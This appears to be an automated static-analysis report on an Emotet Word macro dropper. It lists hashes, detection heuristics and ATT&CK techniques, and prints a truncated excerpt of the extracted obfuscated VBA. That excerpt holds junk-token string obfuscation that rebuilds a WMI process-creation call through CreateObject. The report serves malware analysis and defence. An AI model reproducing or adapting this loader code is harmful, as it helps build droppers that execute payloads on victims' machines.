Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 9e26adeb5bdf3638…

MALICIOUS

Office (OLE)

199.9 KB Created: 2019-11-15 14:50:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 34696260a5af1c1d9d6a04182d0b65a0 SHA-1: 1a7851d5d98c11cd318dee049bedb2e189dcf864 SHA-256: 9e26adeb5bdf3638c92adfb0f6efc82239d1dbc6033f6645cab86ab0c6433087
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate Malicious Code

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.Emotet-7395087-0', indicating a high likelihood of it being an Emotet variant. The presence of an AutoOpen VBA macro, obfuscated code, and a CreateObject call strongly suggests the execution of a malicious script. This script is designed to download and execute a second-stage payload, a common characteristic of Emotet droppers.

Heuristics 8

  • ClamAV: Doc.Dropper.Emotet-7395087-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emotet-7395087-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 29015 bytes
SHA-256: 2930b6259285a6f67ceb0386dcf3dd3ef2b7afdae1962ac153ef2748bb41a5b8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Dtuabyhhyb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Wqrnnpuyvjy, 3, 4, MSForms, TextBox"
Attribute VB_Control = "Wyarffrrpy, 2, 5, MSForms, TextBox"
Attribute VB_Control = "Hdlihizp, 1, 6, MSForms, TextBox"
Attribute VB_Control = "Qoykywpnjjfd, 0, 7, MSForms, TextBox"

Attribute VB_Name = "Pbttvosduh"
Attribute VB_Base = "0{F7B07E0D-CA32-4B01-A6CD-E6D668CFAF72}{CD855488-BE13-4B75-A1CF-EA61CAEDCADE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Dzhzyprfae"
Function Bdltpmwycnm()
On Error Resume Next
   For Each Rbcivvbmw In Vsdaxxckhnima
'Wmwogyigcgucc
      For Each Gqflhszwptgw In Ipcwwyophqbm
       Dim ujtgsGJnF()
ReDim ujtgsGJnF(1)
ujtgsGJnF(0) = "Non."

      Next
'Ucuzxogr
       Dim GTTBnIB()
ReDim GTTBnIB(2)
GTTBnIB(0) = Steven
GTTBnIB(1) = 8

'Egxqgvzbdnu
Next
Set Ylgzkiyouiht = CreateObject(Kxqexawsnfmc(Pbttvosduh.Deazfshuxxbj + Dtuabyhhyb.Hdlihizp))
   For Each Xipkiqdio In Vwwduhzcwcglt
'Qersndofdtttf
      For Each Xuhzqqlpdu In Terxwslayr
       Dim LEbgElCuA()
ReDim LEbgElCuA(2)
LEbgElCuA(0) = "Expedita."
LEbgElCuA(1) = Eleanor

      Next
'Uhqtjbnt
       Dim rTDNj()
ReDim rTDNj(1)
rTDNj(0) = RCwhqnZhA

'Fleubgeonx
Next
Ylgzkiyouiht.XSize = 1442 < 1142
   For Each Qehbsulxxkar In Sxobjidlbx
'Qnvyapmxwfg
      For Each Jjmqsclrwjz In Jqqeckgdex
       Dim COptDBClJ()
ReDim COptDBClJ(1)
COptDBClJ(0) = "Officiis."

      Next
'Kkfkpmronayqu
       Dim TCfdQGIB()
ReDim TCfdQGIB(3)
TCfdQGIB(0) = 6
TCfdQGIB(1) = "Dolorem."
TCfdQGIB(2) = zxbaY

'Iwuewepfvgrc
Next
Crqvzbkf = "owe22owe2_owe2Powe2rowe2oowe2cowe2eowe2sowe2sowe2"
   For Each Lwrwlqvcigxq In Bzbtafoqfnf
'Qxiwmarv
      For Each Ygpbkdqerm In Ummtbdvre
       Dim jwplEH()
ReDim jwplEH(2)
jwplEH(0) = "Animi."
jwplEH(1) = Wilbert

      Next
'Peezjlqjrcn
       Dim ZbvsnEeJ()
ReDim ZbvsnEeJ(3)
ZbvsnEeJ(0) = 66
ZbvsnEeJ(1) = "Nemo."
ZbvsnEeJ(2) = oDHcD

'Keenpiniai
Next
Ylgzkiyouiht.YSize = 1442 < 1142
   For Each Amdyqaztgr In Ugppjpizqutpz
'Hbodxztubgkln
      For Each Fmdmfwlrrt In Tgtnzjersrnf
       Dim xfSUZf()
ReDim xfSUZf(2)
xfSUZf(0) = "Delectus."
xfSUZf(1) = 3679

      Next
'Lnjyeuff
       Dim sKetE()
ReDim sKetE(2)
sKetE(0) = HGmOpE
sKetE(1) = "Est expedita velit."

'Mmazvjwky
Next
Osmsjwjdemupy = "owe2wowe2iowe2nowe2mgowe2mtowe2sowe2:owe2Wowe2inowe23owe2" + Crqvzbkf
   For Each Ibrdmomqygsh In Pajanhjybinyb
'Flwidlkf
      For Each Khmheznez In Iqtfhkzipnn
       Dim XteXPIGN()
ReDim XteXPIGN(2)
XteXPIGN(0) = "Voluptas."
XteXPIGN(1) = Faye

      Next
'Suwzileuqvc
       Dim JqFvA()
ReDim JqFvA(2)
JqFvA(0) = "Dolorem doloribus perferendis et."
JqFvA(1) = "Hic."

'Qxiaubenwvccv
Next
Dim Wtohlmisp()
   For Each Zabmaaesm In Euvqjfzai
'Cptbjfoe
      For Each Jcriccve In Hdkjaidopgqr
       Dim yNSdHGyH()
ReDim yNSdHGyH(3)
yNSdHGyH(0) = "Ratione dolor."
yNSdHGyH(1) = 647
yNSdHGyH(2) = 43

      Next
'Ymsyqyehreusd
       Dim pRWLCvKE()
ReDim pRWLCvKE(3)
pRWLCvKE(0) = Lorraine
pRWLCvKE(1) = "Inventore perspiciatis nemo aut."
pRWLCvKE(2) = 8

'Devvfvzej
Next
ReDim Wtohlmisp(3992)
   For Each Xpswoqmgliodr In Ogaghonisg
'Fmmkhjbkcli
      For Each Eoyamxiez In Ngbhjhzphcht
       Dim yLWaDe()
ReDim yLWaDe(2)
yLWaDe(0) = Clifton
yLWaDe(1) = 678

      Next
'Htpeidxxadzoh
       Dim CXkeuaMH()
ReDim CXkeuaMH(1)
CXkeuaMH(0) = Theresa

'Yifsrwaitb
Next
Wtohlmisp(2333) = Kxqexawsnfmc(Dtuabyhhyb.Wyarffrrpy + Pbttvosduh.Gcdwffnlgwro + Pbttvosduh.Xfvnkgwys)
   For Each Jwsztnqk In Fdogllccpmri
'Bljwjthd
      For Each Oblzycrhrkp In Waaxjgzjau
       Dim uUHnCHI()
ReDim
... (truncated)